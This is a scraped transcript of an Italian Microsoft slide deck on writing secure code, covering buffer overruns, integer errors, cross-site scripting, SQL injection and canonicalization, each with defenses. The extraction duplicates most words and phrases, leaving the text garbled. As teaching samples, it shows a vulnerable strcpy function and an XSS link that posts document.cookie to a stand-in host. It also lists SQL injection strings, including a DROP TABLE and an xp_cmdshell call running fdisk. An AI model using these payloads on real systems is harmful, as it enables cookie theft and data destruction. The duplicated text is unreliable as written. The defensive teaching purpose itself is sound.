Windows Presentation Foundation Fabio Santini [email protected] [email protected] .
Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist [email protected]...
-
Upload
agostina-de-santis -
Category
Documents
-
view
219 -
download
0
Transcript of Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist [email protected]...
Scrivere codice sicuroScrivere codice sicuro
Fabio SantiniFabio Santini.NET Senior Developer Evangelist.NET Senior Developer [email protected] [email protected] Microsoft ItalyMicrosoft Italy
AgendaAgenda Buffer OverrunsBuffer Overruns Errori aritmeticiErrori aritmetici CSS (Cross-Site Scripting) CSS (Cross-Site Scripting) SQL InjectionSQL Injection CanonicalizationCanonicalization Isolated StorageIsolated Storage ViewState ViewState
LaLa necessitànecessità didi codicecodice protettoprotetto
“Porto USA colpito da un hacker inglese”
“Diverse aziende hanno dichiarato di aver perso 10 milioni di dollari in un solo attacco””
"Il recente attacco di un hacker potrebbe aver causato danni a circa 1500 siti Web”
“La pirateria ha causato la perdita di 4.300 posti di lavoro ed ha provocato danni per 850 milioni di dollari””
“Il virus Sobig ha provocato in tutto il mondo danni pari a 30 miliardi di dollari””“Gli attacchi costeranno
all'economia mondiale 1,6 trilioni di dollari quest'anno”
Cos'èCos'è unun Buffer OverrunBuffer Overrun
SiSi verificaverifica quandoquando ii datidati superanosuperano lala dimensionedimensione previstaprevista ee sovrascrivonosovrascrivono altrialtri valorivalori
È frequente soprattutto nel codice C/C++ non È frequente soprattutto nel codice C/C++ non gestitogestito
Può essere di quattro tipi:Può essere di quattro tipi: buffer overrun basato sullo stackbuffer overrun basato sullo stack buffer overrun dell'heapbuffer overrun dell'heap Sovrascrittura della v-table e del puntatore a funzioneSovrascrittura della v-table e del puntatore a funzione Sovrascrittura del gestore eccezioniSovrascrittura del gestore eccezioni
PuòPuò essereessere sfruttatosfruttato daidai wormworm
Possibile conseguenza Obiettivo dell'hacker
Violazione dell'accesso
Realizzare gli attacchi DoS (denial of service) contro i server
Instabilità Interferire con il normale funzionamento del software
Inserimento di codice
Ottenere privilegi per il proprio codiceSfruttare dati aziendali di vitale importanzaEseguire azioni distruttive
PossibiliPossibili conseguenzeconseguenze deidei sovraccarichisovraccarichi bufferbuffer
void UnSafe (const char* uncheckedData)
{
int anotherLocalVariable;
strcpy (localVariable, uncheckedData);
}
char localVariable[4];
EsempioEsempio didi sovraccaricosovraccarico bufferbuffer basatobasato sullosullo stackstack
Parte superiore dello stack
char[4]
int
Indirizzo di ritorno
II buffer overrunbuffer overrun dell'heapdell'heap
SovrascrivonoSovrascrivono ii datidati memorizzatimemorizzati nell'heapnell'heap
Sono più difficili da sfruttare Sono più difficili da sfruttare di un buffer overrundi un buffer overrun
Dati
Puntatore
Dati
Dati
Puntatore
Puntatore
strcpystrcpy xxxxxxxxxxxxxxxxxxxxxxxxxxxx
ComeCome difendersidifendersi daidai buffer overrunbuffer overrun (1(1 didi 2)2) UtilizzareUtilizzare concon particolareparticolare cautelacautela lele
seguentiseguenti funzioni:funzioni: strcpystrcpy strncpystrncpy CopyMemoryCopyMemory MultiByteToWideCharMultiByteToWideChar
Utilizzare l'opzione di compilazione /GS Utilizzare l'opzione di compilazione /GS in Visual C++ per individuare i in Visual C++ per individuare i sovraccarichi buffersovraccarichi buffer
Utilizzare strsafe.h per un gestione del Utilizzare strsafe.h per un gestione del buffer più sicurabuffer più sicura
Come difendersi dai buffer Come difendersi dai buffer overrun (2 di 2)overrun (2 di 2)
DEMODEMO
GliGli errorierrori aritmeticiaritmetici SiSi verificanoverificano quandoquando vengonovengono superatisuperati ii
limitilimiti didi unauna variabilevariabile Causano gravi errori in fase di esecuzioneCausano gravi errori in fase di esecuzione Vengono spesso sottovalutatiVengono spesso sottovalutati Includono:Includono:
Overflow – valore troppo grande per il tipo di Overflow – valore troppo grande per il tipo di datidati
Underflow – valore troppo piccolo per il tipo Underflow – valore troppo piccolo per il tipo di datidi dati
ComeCome difendersidifendersi daglidagli errorierrori aritmeticiaritmetici TenereTenere contoconto deidei limitilimiti deldel tipotipo didi datidati
sceltoscelto Scrivere codice a prova di attacchi che Scrivere codice a prova di attacchi che
verifichi la presenza di overflowverifichi la presenza di overflow Scrivere funzioni sicure e riutilizzabiliScrivere funzioni sicure e riutilizzabili Utilizzare una classe sicura basata su Utilizzare una classe sicura basata su
modello (se si scrive codice in C++)modello (se si scrive codice in C++)
DEMODEMO
Cos'èCos'è ilil CSS?CSS? UnaUna tecnicatecnica cheche consenteconsente agliagli hackerhacker di:di:
Eseguire script dannoso nel browser Web Eseguire script dannoso nel browser Web di un clientdi un client
Inserire tag <script>, <object>, <applet>, Inserire tag <script>, <object>, <applet>, <form> e <embed><form> e <embed>
Rubare informazioni sulla sessione Web e Rubare informazioni sulla sessione Web e cookie di autenticazionecookie di autenticazione
Accedere al computer clientAccedere al computer client
Qualsiasi pagina Web che esegue il rendering HTMLe contenente input dell'utente è vulnerabile
DueDue impieghiimpieghi comunicomuni deldel CSSCSS AttaccareAttaccare lele piattaformepiattaforme didi postaposta
elettronicaelettronica basatebasate sulsul WebWeb ee i forumi forum Utilizzo dei tag <form> HTML per Utilizzo dei tag <form> HTML per
reindirizzare informazioni privatereindirizzare informazioni private
AttacchiAttacchi basatibasati susu formform (1(1 didi 2)2)Response.Write("Welcome" & Request.QueryString("UserName"))
AttacchiAttacchi basatibasati susu formform (2(2 didi 2)2)
<a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >
here</a>
ComeCome difendersidifendersi daglidagli attacchiattacchi CSSCSS
OperazioniOperazioni dada nonnon eseguire:eseguire: Considerare attendibile l'input dell'utenteConsiderare attendibile l'input dell'utente Attivare l'eco dell'input dell'utente basato Attivare l'eco dell'input dell'utente basato
sul Web a meno che non sia stato sul Web a meno che non sia stato convalidatoconvalidato
Memorizzare informazioni segrete nei cookieMemorizzare informazioni segrete nei cookie
Operazioni da eseguire:Operazioni da eseguire: Utilizzare l'opzione del cookie HttpOnlyUtilizzare l'opzione del cookie HttpOnly Sfruttare le funzionalità di ASP.NETSfruttare le funzionalità di ASP.NET
DEMODEMO
Cos'èCos'è l'SQLl'SQL Injection?Injection?
L'SQLL'SQL InjectionInjection è:è: L'aggiunta di istruzioni SQL nell'input L'aggiunta di istruzioni SQL nell'input
dell'utentedell'utente Viene utilizzato dagli hacker per:Viene utilizzato dagli hacker per:
Effettuare la scansione dei databaseEffettuare la scansione dei database Ignorare l'autorizzazioneIgnorare l'autorizzazione Eseguire più istruzioni SQLEseguire più istruzioni SQL Richiamare stored procedure incorporateRichiamare stored procedure incorporate
EsempiEsempi didi SQLSQL InjectionInjection
SeSe lala variabilevariabile IDID vieneviene lettaletta direttamentedirettamente dada unauna casellacasella didi testotesto didi unun WebWeb FormForm oo didi unun formform didi Windows,Windows, l'utentel'utente potrebbepotrebbe immettere:immettere: ALFKI1001ALFKI1001 ALFKI1001' or 1=1 --ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail --ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') --ALFKI1001' exec xp_cmdshell('fdisk.exe') --
sqlString = "SELECT HasShipped FROM"+ " OrderDetail WHERE OrderID ='"+ ID + "'";
ComeCome difendersidifendersi dall'SQLdall'SQL InjectionInjection VerificareVerificare cheche l'inputl'input nonnon siasia infetto.infetto.
Considerare tutto l'input pericoloso fino a Considerare tutto l'input pericoloso fino a quando non viene dimostrato il contrarioquando non viene dimostrato il contrario
Cercare dati validi e respingere tutto il restoCercare dati validi e respingere tutto il resto Utilizzare espressioni regolari per rimuovere Utilizzare espressioni regolari per rimuovere
i caratteri indesideratii caratteri indesiderati Eseguire con i privilegi più bassiEseguire con i privilegi più bassi
Non eseguire mai come “sa”Non eseguire mai come “sa” Limitare l'accesso a stored procedure Limitare l'accesso a stored procedure
incorporateincorporate Utilizzare stored procedure o query con Utilizzare stored procedure o query con
parametri SQL per accedere ai datiparametri SQL per accedere ai dati Non attivare l'eco di errori ODBCNon attivare l'eco di errori ODBC
DEMODEMO
ProblemiProblemi didi CanonicalizationCanonicalization GeneralmenteGeneralmente esistonoesistono piùpiù metodimetodi
perper assegnareassegnare ii nominomi Sono disponibili rappresentazioni Sono disponibili rappresentazioni
alternative per:alternative per: Nomi fileNomi file URLURL Periferiche (ad esempio stampanti)Periferiche (ad esempio stampanti)
Gli hacker possono sfruttare il codice che Gli hacker possono sfruttare il codice che consente di effettuare determinate consente di effettuare determinate operazioni in base ai nomi file o agli URLoperazioni in base ai nomi file o agli URL
ProblemiProblemi didi CanonicalizationCanonicalizationEsempioEsempio 11 –– NomiNomi filefile
1.1. MyLongFile.txtMyLongFile.txt2.2. MyLongFile.txt.MyLongFile.txt.3.3. MyLong~1.txtMyLong~1.txt4.4. MyLongFile.txt::$DATAMyLongFile.txt::$DATA
EsistonoEsistono moltimolti modimodi perper rappresentarerappresentare ii carattericaratteri susu InternetInternet
ProblemiProblemi didi CanonicalizationCanonicalizationEsempioEsempio 22 –– RappresentazioneRappresentazione deidei carattericaratteri
http://www.microsoft.com/technet/security
EquivaleEquivale aa --
http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity
http://www.microsoft.com%c0%aftechnet%c0%afsecurity
http://www%25%32%65microsoft.com/technet/security
http://172.43.122.12 = http://2888530444
DEMODEMO
© 2002 Microsoft Corporation. All rights reserved.© 2002 Microsoft Corporation. All rights reserved.This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.